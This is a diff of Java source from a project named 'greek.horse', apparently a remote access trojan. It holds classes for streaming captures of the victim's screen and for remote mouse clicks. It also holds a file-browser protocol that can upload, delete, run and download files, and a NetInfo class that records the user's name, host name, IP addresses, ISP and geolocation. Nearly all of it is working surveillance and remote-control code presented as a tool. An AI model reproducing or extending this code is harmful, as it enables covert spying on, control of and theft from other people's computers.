if (System.currentTimeMillis() < time) { |
|||
Thread.sleep(10); |
|||
continue; |
|||
} else { |
|||
time = System.currentTimeMillis() + interval; |
|||
} |
|||
double w = info.getAcquire().getWidth(); |
|||
double h = info.getAcquire().getHeight(); |
|||
boolean greyscale = info.getAcquire().isCompressed(); |
|||
|
|||
HashMap<FunctionTicket, Object> answerMap = new HashMap<>(); |
|||
answerMap.put(ticket, getBytesObject(w, h, greyscale, info.getAcquire().getMonitor())); |
|||
client.getOos().getAcquire().writeObject(answerMap); |
|||
client.getOos().getAcquire().flush(); |
|||
|
|||
} catch (Exception e) { |
|||
// e.printStackTrace(); |
|||
log.error(e); |
|||
} |
|||
} |
|||
|
|||
} |
|||
try { |
|||
Thread.sleep(500); |
|||
} catch (InterruptedException e) { |
|||
log.error(e); |
|||
} |
|||
} |
|||
} |
|||
|
|||
@NotNull |
|||
private Object getBytesObject(double W, double H, boolean greyscale, int monitor) throws IOException { |
|||
BufferedImage screenCapture = createScreenCapture(monitor); |
|||
|
|||
double w = screenCapture.getWidth(); |
|||
double h = screenCapture.getHeight(); |
|||
double x = W / w; |
|||
double y = H / h; |
|||
lastScale = Math.min(x, y); |
|||
|
|||
BufferedImage bi = Thumbnails.of(screenCapture).forceSize((int) (w * lastScale), (int) (h * lastScale)).asBufferedImage(); |
|||
|
|||
if (greyscale) { |
|||
bi = ImageUtil.greyIt(bi); |
|||
} else { |
|||
bi = ImageUtil.reduceIt(bi); |
|||
} |
|||
|
|||
ByteArrayOutputStream baos = new ByteArrayOutputStream(); |
|||
ImageIO.write(bi, "gif", baos); |
|||
return baos.toByteArray(); |
|||
} |
|||
|
|||
private BufferedImage createScreenCapture(int monitor) { |
|||
GraphicsDevice[] devices = GraphicsEnvironment |
|||
.getLocalGraphicsEnvironment() |
|||
.getScreenDevices(); |
|||
|
|||
monitor = monitor < devices.length ? monitor : 0; |
|||
|
|||
lastRect = GraphicsEnvironment.getLocalGraphicsEnvironment() |
|||
.getScreenDevices()[monitor] |
|||
.getDefaultConfiguration() |
|||
.getBounds(); |
|||
|
|||
return bot.createScreenCapture(lastRect); |
|||
} |
|||
|
|||
public void pressClick(int x, int y, int code) { |
|||
int a = (int) (x / lastScale); |
|||
int b = (int) (y / lastScale); |
|||
bot.mouseMove((int) (a + lastRect.getX()), (int) (b + lastRect.getY())); |
|||
bot.mousePress(code); |
|||
} |
|||
|
|||
public void releaseClick(int x, int y, int code) { |
|||
int a = (int) (x / lastScale); |
|||
int b = (int) (y / lastScale); |
|||
bot.mouseMove((int) (a + lastRect.getX()), (int) (b + lastRect.getY())); |
|||
bot.mouseRelease(code); |
|||
} |
|||
|
|||
public void setTicket(FunctionTicket ticket) { |
|||
this.ticket = ticket; |
|||
} |
|||
|
|||
public void setInfo(MonitorDesktopWrapper info) { |
|||
this.info.lazySet(info); |
|||
} |
|||
|
|||
public double getLastScale() { |
|||
return lastScale; |
|||
} |
|||
} |
@ -0,0 +1,7 @@ |
|||
package greek.horse.models; |
|||
|
|||
import java.io.Serializable; |
|||
|
|||
public enum BrowserTicketType implements Serializable { |
|||
LOAD_DRIVES, LOAD_FILES, UPLOAD, DELETE, RUN, DOWNLOAD, KNOWN_FOLDERS |
|||
} |
@ -0,0 +1,57 @@ |
|||
package greek.horse.models; |
|||
|
|||
import java.io.Serializable; |
|||
import java.util.ArrayList; |
|||
|
|||
public class FileBrowserResponseWrapper implements Serializable { |
|||
|
|||
private final boolean error; |
|||
private String description = ""; |
|||
private ArrayList<FileStruct> list; |
|||
private FileData fileData; |
|||
|
|||
public FileBrowserResponseWrapper(ArrayList<FileStruct> list){ |
|||
this.list = list; |
|||
this.error = false; |
|||
} |
|||
|
|||
public FileBrowserResponseWrapper(FileData fileData) { |
|||
this.fileData = fileData; |
|||
this.error = false; |
|||
} |
|||
|
|||
public FileBrowserResponseWrapper(Exception e) { |
|||
this.error = true; |
|||
this.description = e.getClass().getSimpleName() + ": " + e.getLocalizedMessage(); |
|||
} |
|||
|
|||
public FileBrowserResponseWrapper() { |
|||
this.error = false; |
|||
} |
|||
|
|||
public boolean isError() { |
|||
return error; |
|||
} |
|||
|
|||
public ArrayList<FileStruct> getList() { |
|||
return list; |
|||
} |
|||
|
|||
public String getDescription() { |
|||
return description; |
|||
} |
|||
|
|||
public FileData getFileData() { |
|||
return fileData; |
|||
} |
|||
|
|||
@Override |
|||
public String toString() { |
|||
return "FileBrowserResponseWrapper{" + |
|||
"error=" + error + |
|||
", description='" + description + '\'' + |
|||
", list=" + list + |
|||
", fileData=" + fileData + |
|||
'}'; |
|||
} |
|||
} |
@ -0,0 +1,72 @@ |
|||
package greek.horse.models; |
|||
|
|||
import java.io.File; |
|||
import java.io.Serializable; |
|||
import java.util.ArrayList; |
|||
import java.util.Arrays; |
|||
|
|||
public class FileBrowserTicket implements Serializable { |
|||
private ArrayList<String> uri; |
|||
private BrowserTicketType ticketType; |
|||
|
|||
private FileData fileData; |
|||
|
|||
public FileBrowserTicket(BrowserTicketType ticketType) { |
|||
this.ticketType = ticketType; |
|||
} |
|||
|
|||
public FileBrowserTicket(String uri, BrowserTicketType ticketType) { |
|||
this.uri = splitUri(uri); |
|||
this.ticketType = ticketType; |
|||
} |
|||
|
|||
public FileBrowserTicket(String uri, BrowserTicketType ticketType, String fileName, byte[] fileData) { |
|||
this.uri = splitUri(uri); |
|||
this.ticketType = ticketType; |
|||
this.fileData = new FileData(fileData, fileName); |
|||
} |
|||
|
|||
private ArrayList<String> splitUri(String uri) { |
|||
StringBuilder sb = new StringBuilder(); |
|||
for (int i = 0; i < uri.length(); i++) { |
|||
char c = uri.charAt(i); |
|||
if (c == File.separatorChar) { |
|||
sb.append(";"); |
|||
} else { |
|||
sb.append(c); |
|||
} |
|||
} |
|||
|
|||
String cmp = sb.toString(); |
|||
return new ArrayList<>(Arrays.asList(cmp.split(";"))); |
|||
} |
|||
|
|||
public String getUri() { |
|||
StringBuilder sb = new StringBuilder(); |
|||
|
|||
if (!this.uri.isEmpty()) { |
|||
this.uri.forEach(s -> sb.append(s).append(File.separator)); |
|||
sb.substring(0, sb.length() - 2); |
|||
} else { |
|||
sb.append(File.separator); |
|||
} |
|||
return sb.toString(); |
|||
} |
|||
|
|||
public BrowserTicketType getTicketType() { |
|||
return ticketType; |
|||
} |
|||
|
|||
public FileData getFileData() { |
|||
return fileData; |
|||
} |
|||
|
|||
@Override |
|||
public String toString() { |
|||
return "FileBrowserTicket{" + |
|||
"uri=" + uri + |
|||
", ticket=" + ticketType + |
|||
", fileData=" + fileData + |
|||
'}'; |
|||
} |
|||
} |
@ -0,0 +1,28 @@ |
|||
package greek.horse.models; |
|||
|
|||
import java.io.Serializable; |
|||
|
|||
public class FileData implements Serializable { |
|||
private byte[] fileBytes; |
|||
private String fileName; |
|||
|
|||
public FileData(byte[] fileData, String fileName) { |
|||
this.fileBytes = fileData; |
|||
this.fileName = fileName; |
|||
} |
|||
|
|||
public String getFileName() { |
|||
return fileName; |
|||
} |
|||
|
|||
public byte[] getFileBytes() { |
|||
return fileBytes; |
|||
} |
|||
|
|||
@Override |
|||
public String toString() { |
|||
return "FileData{" + |
|||
"fileName='" + fileName + '\'' + |
|||
'}'; |
|||
} |
|||
} |
@ -0,0 +1,276 @@ |
|||
package greek.horse.models; |
|||
|
|||
import org.jetbrains.annotations.NotNull; |
|||
|
|||
import java.io.Serializable; |
|||
import java.util.HashMap; |
|||
import java.util.Locale; |
|||
|
|||
public class FileStruct implements Comparable<FileStruct>, Serializable { |
|||
|
|||
private final String path; |
|||
private final String name; |
|||
private final boolean isDrive; |
|||
private final boolean isDir; |
|||
private final String size; |
|||
private final FileType fileType; |
|||
private static final HashMap<String, FileType> extMap = createMap(); |
|||
|
|||
public FileStruct(String name, long size, String path, boolean isDrive, boolean isDir) { |
|||
this.path = path; |
|||
this.name = name; |
|||
this.isDrive = isDrive; |
|||
this.isDir = isDir; |
|||
|
|||
if (size < Math.pow(10, 3)) { |
|||
this.size = (int) (size) + " B"; |
|||
} else if (size < Math.pow(10, 6)) { |
|||
this.size = (int) (size / Math.pow(10, 3)) + " KB"; |
|||
} else if (size < Math.pow(10, 9)) { |
|||
this.size = (int) (size / Math.pow(10, 6)) + " MB"; |
|||
} else if (size < Math.pow(10, 12)) { |
|||
this.size = (int) (size / Math.pow(10, 9)) + " GB"; |
|||
} else { // TB |
|||
this.size = (int) (size / Math.pow(10, 12)) + " TB"; |
|||
} |
|||
|
|||
this.fileType = createFileType(); |
|||
|
|||
} |
|||
|
|||
private FileType createFileType() { |
|||
|
|||
if (this.name.contentEquals("..") || isDir) { |
|||
return FileType.DIRECTORY; |
|||
} else if (isDrive) { |
|||
return FileType.DRIVE; |
|||
} |
|||
|
|||
String ext = getExtension(name).toLowerCase(Locale.ROOT); |
|||
|
|||
if (!extMap.containsKey(ext)) { |
|||
return FileType.UNKNOWN; |
|||
} |
|||
|
|||
return extMap.get(ext); |
|||
|
|||
} |
|||
|
|||
private static HashMap<String, FileType> createMap() { |
|||
HashMap<String, FileType> map = new HashMap<>(); |
|||
map.put("3g2", FileType.VIDEO); |
|||
map.put("3gp", FileType.VIDEO); |
|||
map.put("aaf", FileType.VIDEO); |
|||
map.put("asf", FileType.VIDEO); |
|||
map.put("avchd", FileType.VIDEO); |
|||
map.put("avi", FileType.VIDEO); |
|||
map.put("drc", FileType.VIDEO); |
|||
map.put("flv", FileType.VIDEO); |
|||
map.put("m2v", FileType.VIDEO); |
|||
map.put("m4p", FileType.VIDEO); |
|||
map.put("m4v", FileType.VIDEO); |
|||
map.put("mkv", FileType.VIDEO); |
|||
map.put("mng", FileType.VIDEO); |
|||
map.put("mov", FileType.VIDEO); |
|||
map.put("mp2", FileType.VIDEO); |
|||
map.put("mp4", FileType.VIDEO); |
|||
map.put("mpe", FileType.VIDEO); |
|||
map.put("mpeg", FileType.VIDEO); |
|||
map.put("mpg", FileType.VIDEO); |
|||
map.put("mpv", FileType.VIDEO); |
|||
map.put("mxf", FileType.VIDEO); |
|||
map.put("nsv", FileType.VIDEO); |
|||
map.put("ogg", FileType.VIDEO); |
|||
map.put("ogv", FileType.VIDEO); |
|||
map.put("ogm", FileType.VIDEO); |
|||
map.put("qt", FileType.VIDEO); |
|||
map.put("rm", FileType.VIDEO); |
|||
map.put("rmvb", FileType.VIDEO); |
|||
map.put("roq", FileType.VIDEO); |
|||
map.put("srt", FileType.VIDEO); |
|||
map.put("svi", FileType.VIDEO); |
|||
map.put("vob", FileType.VIDEO); |
|||
map.put("webm", FileType.VIDEO); |
|||
map.put("wmv", FileType.VIDEO); |
|||
map.put("yuv", FileType.VIDEO); |
|||
map.put("exe", FileType.EXECUTABLE); |
|||
map.put("msi", FileType.EXECUTABLE); |
|||
map.put("bin", FileType.EXECUTABLE); |
|||
map.put("command", FileType.EXECUTABLE); |
|||
map.put("sh", FileType.EXECUTABLE); |
|||
map.put("bat", FileType.EXECUTABLE); |
|||
map.put("crx", FileType.EXECUTABLE); |
|||
map.put("aac", FileType.AUDIO); |
|||
map.put("aiff", FileType.AUDIO); |
|||
map.put("ape", FileType.AUDIO); |
|||
map.put("au", FileType.AUDIO); |
|||
map.put("flac", FileType.AUDIO); |
|||
map.put("gsm", FileType.AUDIO); |
|||
map.put("it", FileType.AUDIO); |
|||
map.put("m3u", FileType.AUDIO); |
|||
map.put("m4a", FileType.AUDIO); |
|||
map.put("mid", FileType.AUDIO); |
|||
map.put("mod", FileType.AUDIO); |
|||
map.put("mp3", FileType.AUDIO); |
|||
map.put("mpa", FileType.AUDIO); |
|||
map.put("pls", FileType.AUDIO); |
|||
map.put("ra", FileType.AUDIO); |
|||
map.put("s3m", FileType.AUDIO); |
|||
map.put("sid", FileType.AUDIO); |
|||
map.put("wav", FileType.AUDIO); |
|||
map.put("wma", FileType.AUDIO); |
|||
map.put("xm", FileType.AUDIO); |
|||
map.put("eot", FileType.FONT); |
|||
map.put("otf", FileType.FONT); |
|||
map.put("ttf", FileType.FONT); |
|||
map.put("woff", FileType.FONT); |
|||
map.put("woff2", FileType.FONT); |
|||
map.put("3dm", FileType.IMAGE); |
|||
map.put("3ds", FileType.IMAGE); |
|||
map.put("max", FileType.IMAGE); |
|||
map.put("bmp", FileType.IMAGE); |
|||
map.put("dds", FileType.IMAGE); |
|||
map.put("gif", FileType.IMAGE); |
|||
map.put("jpg", FileType.IMAGE); |
|||
map.put("jpeg", FileType.IMAGE); |
|||
map.put("png", FileType.IMAGE); |
|||
map.put("psd", FileType.IMAGE); |
|||
map.put("xcf", FileType.IMAGE); |
|||
map.put("tga", FileType.IMAGE); |
|||
map.put("thm", FileType.IMAGE); |
|||
map.put("tif", FileType.IMAGE); |
|||
map.put("tiff", FileType.IMAGE); |
|||
map.put("ai", FileType.IMAGE); |
|||
map.put("eps", FileType.IMAGE); |
|||
map.put("ps", FileType.IMAGE); |
|||
map.put("svg", FileType.IMAGE); |
|||
map.put("dwg", FileType.IMAGE); |
|||
map.put("dxf", FileType.IMAGE); |
|||
map.put("gpx", FileType.IMAGE); |
|||
map.put("kml", FileType.IMAGE); |
|||
map.put("kmz", FileType.IMAGE); |
|||
map.put("webp", FileType.IMAGE); |
|||
map.put("doc", FileType.TEXT); |
|||
map.put("docx", FileType.TEXT); |
|||
map.put("ebook", FileType.TEXT); |
|||
map.put("log", FileType.TEXT); |
|||
map.put("md", FileType.TEXT); |
|||
map.put("msg", FileType.TEXT); |
|||
map.put("odt", FileType.TEXT); |
|||
map.put("org", FileType.TEXT); |
|||
map.put("pages", FileType.TEXT); |
|||
map.put("pdf", FileType.TEXT); |
|||
map.put("rtf", FileType.TEXT); |
|||
map.put("rst", FileType.TEXT); |
|||
map.put("tex", FileType.TEXT); |
|||
map.put("txt", FileType.TEXT); |
|||
map.put("wpd", FileType.TEXT); |
|||
map.put("wps", FileType.TEXT); |
|||
map.put("7z", FileType.ZIP); |
|||
map.put("a", FileType.ZIP); |
|||
map.put("ar", FileType.ZIP); |
|||
map.put("bz2", FileType.ZIP); |
|||
map.put("cab", FileType.ZIP); |
|||
map.put("cpio", FileType.ZIP); |
|||
map.put("deb", FileType.ZIP); |
|||
map.put("dmg", FileType.ZIP); |
|||
map.put("egg", FileType.ZIP); |
|||
map.put("gz", FileType.ZIP); |
|||
map.put("iso", FileType.ZIP); |
|||
map.put("jar", FileType.ZIP); |
|||
map.put("lha", FileType.ZIP); |
|||
map.put("mar", FileType.ZIP); |
|||
map.put("pea", FileType.ZIP); |
|||
map.put("rar", FileType.ZIP); |
|||
map.put("rpm", FileType.ZIP); |
|||
map.put("s7z", FileType.ZIP); |
|||
map.put("shar", FileType.ZIP); |
|||
map.put("tar", FileType.ZIP); |
|||
map.put("tbz2", FileType.ZIP); |
|||
map.put("tgz", FileType.ZIP); |
|||
map.put("tlz", FileType.ZIP); |
|||
map.put("war", FileType.ZIP); |
|||
map.put("whl", FileType.ZIP); |
|||
map.put("xpi", FileType.ZIP); |
|||
map.put("zip", FileType.ZIP); |
|||
map.put("zipx", FileType.ZIP); |
|||
map.put("xz", FileType.ZIP); |
|||
map.put("pak", FileType.ZIP); |
|||
map.put("c", FileType.CODE); |
|||
map.put("cc", FileType.CODE); |
|||
map.put("class", FileType.CODE); |
|||
map.put("clj", FileType.CODE); |
|||
map.put("cpp", FileType.CODE); |
|||
map.put("cs", FileType.CODE); |
|||
map.put("cxx", FileType.CODE); |
|||
map.put("el", FileType.CODE); |
|||
map.put("go", FileType.CODE); |
|||
map.put("h", FileType.CODE); |
|||
map.put("java", FileType.CODE); |
|||
map.put("lua", FileType.CODE); |
|||
map.put("m", FileType.CODE); |
|||
map.put("m4", FileType.CODE); |
|||
map.put("php", FileType.CODE); |
|||
map.put("pl", FileType.CODE); |
|||
map.put("po", FileType.CODE); |
|||
map.put("py", FileType.CODE); |
|||
map.put("rb", FileType.CODE); |
|||
map.put("rs", FileType.CODE); |
|||
map.put("swift", FileType.CODE); |
|||
map.put("vb", FileType.CODE); |
|||
map.put("vcxproj", FileType.CODE); |
|||
map.put("xcodeproj", FileType.CODE); |
|||
map.put("xml", FileType.CODE); |
|||
map.put("diff", FileType.CODE); |
|||
map.put("patch", FileType.CODE); |
|||
map.put("html", FileType.CODE); |
|||
map.put("js", FileType.CODE); |
|||
return map; |
|||
} |
|||
|
|||
public String getExtension(String filename) { |
|||
if (filename.contains(".")) { |
|||
return filename.substring(filename.lastIndexOf(".") + 1); |
|||
} else { |
|||
return ""; |
|||
} |
|||
} |
|||
|
|||
@Override |
|||
public int compareTo(@NotNull FileStruct o) { |
|||
return this.name.compareToIgnoreCase(o.name); |
|||
} |
|||
|
|||
@Override |
|||
public String toString() { |
|||
return "FileStruct{" + |
|||
"uri=" + path + |
|||
", name='" + name + '\'' + |
|||
", size='" + size + '\'' + |
|||
'}'; |
|||
} |
|||
|
|||
public FileType getFileType() { |
|||
return fileType; |
|||
} |
|||
|
|||
public String getPath() { |
|||
return path; |
|||
} |
|||
|
|||
public String getName() { |
|||
return name; |
|||
} |
|||
|
|||
public boolean isDrive() { |
|||
return isDrive; |
|||
} |
|||
|
|||
public boolean isDir() { |
|||
return isDir; |
|||
} |
|||
|
|||
public String getSize() { |
|||
return size; |
|||
} |
|||
} |
@ -0,0 +1,5 @@ |
|||
package greek.horse.models; |
|||
|
|||
public enum FileType { |
|||
DRIVE, DIRECTORY, EXECUTABLE, IMAGE, AUDIO, VIDEO, TEXT, ZIP, CODE, FONT, UNKNOWN |
|||
} |
@ -0,0 +1,50 @@ |
|||
package greek.horse.models; |
|||
|
|||
import java.io.Serializable; |
|||
import java.util.Objects; |
|||
|
|||
public class FunctionTicket implements Serializable { |
|||
private final RequestFunction requestFunction; |
|||
private final String id; |
|||
private final boolean fixed; |
|||
|
|||
public FunctionTicket(RequestFunction requestFunction, String id, boolean fixed) { |
|||
this.requestFunction = requestFunction; |
|||
this.id = id; |
|||
this.fixed = fixed; |
|||
} |
|||
|
|||
@Override |
|||
public String toString() { |
|||
return "FunctionTicket{" + |
|||
"function=" + requestFunction + |
|||
", id='" + id + '\'' + |
|||
", fixed=" + fixed + |
|||
'}'; |
|||
} |
|||
|
|||
@Override |
|||
public boolean equals(Object o) { |
|||
if (this == o) return true; |
|||
if (o == null || getClass() != o.getClass()) return false; |
|||
FunctionTicket that = (FunctionTicket) o; |
|||
return requestFunction == that.requestFunction && Objects.equals(id, that.id); |
|||
} |
|||
|
|||
@Override |
|||
public int hashCode() { |
|||
return Objects.hash(requestFunction, id); |
|||
} |
|||
|
|||
public String getId() { |
|||
return id; |
|||
} |
|||
|
|||
public RequestFunction getFunction() { |
|||
return requestFunction; |
|||
} |
|||
|
|||
public boolean isFixed() { |
|||
return fixed; |
|||
} |
|||
} |
@ -0,0 +1,160 @@ |
|||
package greek.horse.models; |
|||
|
|||
import java.awt.*; |
|||
import java.awt.image.BufferedImage; |
|||
|
|||
public class ImageUtil { |
|||
|
|||
// private static int tileCount = 3;//16*x-2560*y-2560\ =\ 0 |
|||
|
|||
// public static DesktopImageCarrier split(BufferedImage img) { |
|||
// int tileCount = (((16 * img.getWidth()) - 2560) * 3) / 2560; |
|||
// tileCount = 1; |
|||
// int tileW = img.getWidth() / tileCount; |
|||
// int tileH = img.getHeight() / tileCount; |
|||
// |
|||
// int lastW = img.getWidth() - (tileW * tileCount); |
|||
// int lastH = img.getHeight() - (tileH * tileCount); |
|||
// |
|||
// ArrayList<BufferedImage> list = new ArrayList<>(); |
|||
// |
|||
// for (int i = 0; i < tileCount; i++) { |
|||
// |
|||
// int x = i * tileW; |
|||
// for (int j = 0; j < tileCount; j++) { |
|||
// int y = j * tileH; |
|||
// list.add(img.getSubimage(x, y, tileW, tileH)); |
|||
// } |
|||
// |
|||
// if (lastH > 0) { |
|||
// int y = tileCount * tileH; |
|||
// list.add(img.getSubimage(x, y, tileW, lastH)); |
|||
// } |
|||
// |
|||
// } |
|||
// |
|||
// if (lastW > 0) { |
|||
// int x = tileCount * tileW; |
|||
// for (int j = 0; j < tileCount; j++) { |
|||
// int y = j * tileH; |
|||
// list.add(img.getSubimage(x, y, lastW, tileH)); |
|||
// } |
|||
// if (lastH > 0) { |
|||
// int y = (tileCount) * tileH; |
|||
// list.add(img.getSubimage(x, y, lastW, lastH)); |
|||
// } |
|||
// } |
|||
// return new DesktopImageCarrier(img.getWidth(), img.getHeight(), img.getType(), tileW, tileH, lastW > 0 ? tileCount + 1 : tileCount, lastH > 0 ? tileCount + 1 : tileCount, list); |
|||
// } |
|||
|
|||
// public static boolean compareImages(BufferedImage imgA, BufferedImage imgB) { |
|||
// // The images must be the same size. |
|||
//// if (1==1) |
|||
//// return false; |
|||
// if (imgA.getWidth() != imgB.getWidth() || imgA.getHeight() != imgB.getHeight()) { |
|||
// return false; |
|||
// } else if (imgA.getType() != imgB.getType()) {//they must be the same type |
|||
// return false; |
|||
// } |
|||
// |
|||
// int width = imgA.getWidth(); |
|||
// int height = imgA.getHeight(); |
|||
// |
|||
// // Loop over every pixel. |
|||
// for (int y = 0; y < height - 4; y = y + 5) { |
|||
// for (int x = 0; x < width - 4; x = x + 5) { |
|||
// // Compare the pixels for equality. |
|||
// if (imgA.getRGB(x, y) != imgB.getRGB(x, y)) { |
|||
// return false; |
|||
// } |
|||
// } |
|||
// } |
|||
// |
|||
// return true; |
|||
// } |
|||
|
|||
public static BufferedImage greyIt(BufferedImage from) { |
|||
BufferedImage grey = new BufferedImage( |
|||
from.getWidth(), |
|||
from.getHeight(), |
|||
BufferedImage.TYPE_BYTE_BINARY); |
|||
// BufferedImage.OPAQUE); |
|||
|
|||
Graphics2D graphic = grey.createGraphics(); |
|||
graphic.drawImage(from, 0, 0, Color.WHITE, null); |
|||
graphic.dispose(); |
|||
return grey; |
|||
} |
|||
|
|||
public static BufferedImage reduceIt(BufferedImage from) { |
|||
BufferedImage grey = new BufferedImage( |
|||
from.getWidth(), |
|||
from.getHeight(), |
|||
BufferedImage.OPAQUE); |
|||
|
|||
Graphics2D graphic = grey.createGraphics(); |
|||
graphic.drawImage(from, 0, 0, Color.WHITE, null); |
|||
graphic.dispose(); |
|||
return grey; |
|||
} |
|||
|
|||
// public static ArrayList<BufferedImage> compressSplit(ArrayList<BufferedImage> newSplit, ArrayList<BufferedImage> oldSplit) { |
|||
// ArrayList<BufferedImage> list = new ArrayList(newSplit); |
|||
// if (list.size() == oldSplit.size()) { |
|||
// for (int i = 0; i < list.size(); i++) { |
|||
// if (compareImages(list.get(i), oldSplit.get(i))) { |
|||
// list.set(i, null); |
|||
// } |
|||
// } |
|||
// } |
|||
// return list; |
|||
// } |
|||
|
|||
// public static ArrayList<Object> prepareSplit(ArrayList<BufferedImage> sendSplit) { |
|||
// ArrayList<Object> list = new ArrayList<>(); |
|||
// for (BufferedImage img : sendSplit) { |
|||
// |
|||
// if (img != null) { |
|||
// try { |
|||
// ByteArrayOutputStream baos = new ByteArrayOutputStream(); |
|||
// ImageIO.write(img, "gif", baos); |
|||
// list.add(baos.toByteArray()); |
|||
// } catch (Exception e) { |
|||
// e.printStackTrace(); |
|||
// } |
|||
// } else { |
|||
// list.add(null); |
|||
// } |
|||
// |
|||
// } |
|||
// return list; |
|||
// } |
|||
|
|||
// public static BufferedImage joinSplit(DesktopImageCarrier carrier, Image image) throws IOException { |
|||
// BufferedImage bi = SwingFXUtils.fromFXImage(image, null); |
|||
// |
|||
// if (bi.getWidth() != carrier.getWidth() || bi.getHeight() != carrier.getHeight()) { |
|||
// bi = new BufferedImage(carrier.getWidth(), carrier.getHeight(), BufferedImage.TYPE_INT_RGB); |
|||
// } |
|||
// |
|||
// Graphics2D graphics = bi.createGraphics(); |
|||
// int repo = 0; |
|||
// int pos = 0; |
|||
// for (int i = 0; i < carrier.getwCount(); i++) { |
|||
// for (int j = 0; j < carrier.gethCount(); j++) { |
|||
// if (carrier.getSplit().get(pos) != null) { |
|||
// |
|||
// repo++; |
|||
// |
|||
// BufferedImage subImg = ImageIO.read(new ByteArrayInputStream((byte[]) carrier.getSplit().get(pos))); |
|||
// |
|||
// graphics.drawImage(subImg, carrier.getTileW() * i, carrier.getTileH() * j, null); |
|||
// } |
|||
// pos++; |
|||
// } |
|||
// } |
|||
// System.out.println(repo + " - " + carrier.getwCount() * carrier.gethCount()); |
|||
// graphics.dispose(); |
|||
// return bi; |
|||
// } |
|||
} |
@ -0,0 +1,19 @@ |
|||
package greek.horse.models; |
|||
|
|||
import java.io.Serializable; |
|||
|
|||
public class Message implements Serializable { |
|||
// RSA |
|||
// Blowfish |
|||
// leet (safest) |
|||
private String text; |
|||
|
|||
public Message(String text) { |
|||
this.text = text; |
|||
} |
|||
|
|||
public String getText() { |
|||
return text; |
|||
} |
|||
|
|||
} |
@ -0,0 +1,8 @@ |
|||
package greek.horse.models; |
|||
|
|||
public enum MessageType { |
|||
SERVER, CLIENT; |
|||
public static final String SERVER_NAME = "Server"; |
|||
public static final String CLIENT_NAME = "Client"; |
|||
public static final String SELF = "You"; |
|||
} |
@ -0,0 +1,5 @@ |
|||
package greek.horse.models; |
|||
|
|||
public enum Mode { |
|||
KEY_PRESSED, KEY_RELEASED, CLICK_PRESSED, CLICK_RELEASED |
|||
} |
@ -0,0 +1,44 @@ |
|||
package greek.horse.models; |
|||
|
|||
import java.io.Serializable; |
|||
|
|||
public class MonitorDesktopWrapper implements Serializable { |
|||
private final double width; |
|||
private final double height; |
|||
private final boolean compressed; |
|||
private int monitor; |
|||
|
|||
public MonitorDesktopWrapper(double w, double Height, boolean compressed, int monitor) { |
|||
|
|||
this.width = w; |
|||
this.height = Height; |
|||
this.compressed = compressed; |
|||
this.monitor = monitor; |
|||
} |
|||
|
|||
public double getWidth() { |
|||
return width; |
|||
} |
|||
|
|||
public double getHeight() { |
|||
return height; |
|||
} |
|||
|
|||
public boolean isCompressed() { |
|||
return compressed; |
|||
} |
|||
|
|||
public int getMonitor() { |
|||
return monitor; |
|||
} |
|||
|
|||
@Override |
|||
public String toString() { |
|||
return "MonitorDesktopWrapper{" + |
|||
"width=" + width + |
|||
", height=" + height + |
|||
", compressed=" + compressed + |
|||
", monitor=" + monitor + |
|||
'}'; |
|||
} |
|||
} |
@ -0,0 +1,153 @@ |
|||
package greek.horse.models; |
|||
|
|||
import org.apache.commons.lang3.SystemUtils; |
|||
|
|||
import javax.json.JsonObject; |
|||
import java.io.IOException; |
|||
import java.io.Serializable; |
|||
import java.net.InetAddress; |
|||
|
|||
public class NetInfo implements Serializable { |
|||
private final String userName; |
|||
private final OS os; |
|||
private final String bigOs; |
|||
private final String hostName; |
|||
private final String localIP; |
|||
private final String externalIP; |
|||
|
|||
private final String country; |
|||
private final String region; |
|||
private final String city; |
|||
private final String timeZone; |
|||
|
|||
private final String isp; |
|||
private final String org; |
|||
private final String as; |
|||
|
|||
|
|||
public NetInfo(String userName, OS os, String bigOs, String hostName, String localIP, String externalIP, String country, String region, String city, String timeZone, String isp, String org, String as) { |
|||
this.userName = userName; |
|||
this.os = os; |
|||
this.bigOs = bigOs; |
|||
this.hostName = hostName; |
|||
this.localIP = localIP; |
|||
this.externalIP = externalIP; |
|||
this.country = country; |
|||
this.region = region; |
|||
this.city = city; |
|||
this.timeZone = timeZone; |
|||
this.isp = isp; |
|||
this.org = org; |
|||
this.as = as; |
|||
|
|||
} |
|||
|
|||
public NetInfo(InetAddress inet, JsonObject json) throws IOException { |
|||
|
|||
if (!json.getString("status").contains("success")){ |
|||
throw new IOException("Status returner false: "+json.getString("status")); |
|||
} |
|||
|
|||
|
|||
if (SystemUtils.IS_OS_MAC){ |
|||
os = OS.MAC; |
|||
} else if (SystemUtils.IS_OS_UNIX){ |
|||
os = OS.UNIX; |
|||
} else if (SystemUtils.IS_OS_WINDOWS){ |
|||
os = OS.WINDOWS; |
|||
} else { |
|||
os = OS.UNKNOWN; |
|||
} |
|||
|
|||
this.bigOs = System.getProperty("os.name"); |
|||
|
|||
this.userName = SystemUtils.getUserName(); |
|||
this.hostName = SystemUtils.getHostName(); |
|||
this.localIP = inet.getHostAddress(); |
|||
this.externalIP = json.getString("query"); |
|||
|
|||
this.country = json.getString("country"); |
|||
this.region = json.getString("regionName"); |
|||
this.city = json.getString("city"); |
|||
this.timeZone = json.getString("timezone"); |
|||
|
|||
this.isp = json.getString("isp"); |
|||
this.org = json.getString("org"); |
|||
this.as = json.getString("as"); |
|||
} |
|||
|
|||
@Override |
|||
public String toString() { |
|||
return "NetInfo{" + |
|||
"userName='" + userName + '\'' + |
|||
", os=" + os + |
|||
", bigOs='" + bigOs + '\'' + |
|||
", hostName='" + hostName + '\'' + |
|||
", localIP='" + localIP + '\'' + |
|||
", externalIP='" + externalIP + '\'' + |
|||
", country='" + country + '\'' + |
|||
", region='" + region + '\'' + |
|||
", city='" + city + '\'' + |
|||
", timeZone='" + timeZone + '\'' + |
|||
", isp='" + isp + '\'' + |
|||
", org='" + org + '\'' + |
|||
", as='" + as + '\'' + |
|||
'}'; |
|||
} |
|||
|
|||
public String getUserName() { |
|||
return userName; |
|||
} |
|||
|
|||
public OS getOs() { |
|||
return os; |
|||
} |
|||
|
|||
public String getHostName() { |
|||
return hostName; |
|||
} |
|||
|
|||
public String getLocalIP() { |
|||
return localIP; |
|||
} |
|||
|
|||
public String getExternalIP() { |
|||
return externalIP; |
|||
} |
|||
|
|||
public String getCountry() { |
|||
return country; |
|||
} |
|||
|
|||
public String getRegion() { |
|||
return region; |
|||
} |
|||
|
|||
public String getCity() { |
|||
return city; |
|||
} |
|||
|
|||
public String getTimeZone() { |
|||
return timeZone; |
|||
} |
|||
|
|||
public String getIsp() { |
|||
return isp; |
|||
} |
|||
|
|||
public String getOrg() { |
|||
return org; |
|||
} |
|||
|
|||
public String getAs() { |
|||
return as; |
|||
